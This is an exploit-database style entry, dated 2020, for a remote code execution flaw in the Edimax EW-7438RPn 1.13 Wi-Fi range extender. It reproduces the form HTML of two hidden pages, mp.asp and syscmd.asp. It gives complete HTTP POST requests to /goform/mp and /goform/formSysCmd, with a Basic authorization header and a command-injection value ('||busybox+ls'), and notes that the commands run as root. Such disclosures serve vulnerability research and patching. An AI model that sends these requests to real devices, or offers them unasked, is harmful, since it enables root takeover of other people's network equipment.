Edimax EW-7438RPn 1.13 - Remote Code Execution

# Exploit Title: Edimax EW-7438RPn 1.13 - Remote Code Execution
# Date: 2020-04-23
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

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NOTE: This device configurated with root permissions. So you can run the
command as root

Here is the detail(s) of the RCE(s)

1- Content of the mp.asp file

<form action="/goform/mp" method="POST" name="mp">
  <input type="text" name="command" value="">&nbsp;<input
type="submit" value="GO">
  <input type="hidden" name="getID" value="">&nbsp;
  <input type="hidden" name="getID" value="">&nbsp;
</form>

RCE Detail:
-------------------------------

POST /goform/mp HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

command=||busybox+ls&getID=

-------------------------------

2- Content of the syscmd.asp

<form action=/goform/formSysCmd method=POST name="formSysCmd"><table
border=0 width="500" cellspacing=0 cellpadding=0>
<tr><font size=2>
This page can be used to run target system command.</tr>
<tr><hr size=1 noshade align=top></tr>
<tr>  <td>System Command: </td>
  <td><input type="text" name="sysCmd" value="" size="20" maxlength="50"></td>
  <td> <input type="submit" value="Apply" name="apply" onClick='return
saveClick()'></td></form>


RCE Detail:
-------------------------------

POST /goform/formSysCmd HTTP/1.1
Host: 192.168.2.2
User-Agent: Mozilla/5.0 *********************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
DNT: 1
Authorization: Basic YWRtaW46MTIzNA==
Connection: close
Cookie: language=1
Upgrade-Insecure-Requests: 1

sysCmd="command to here"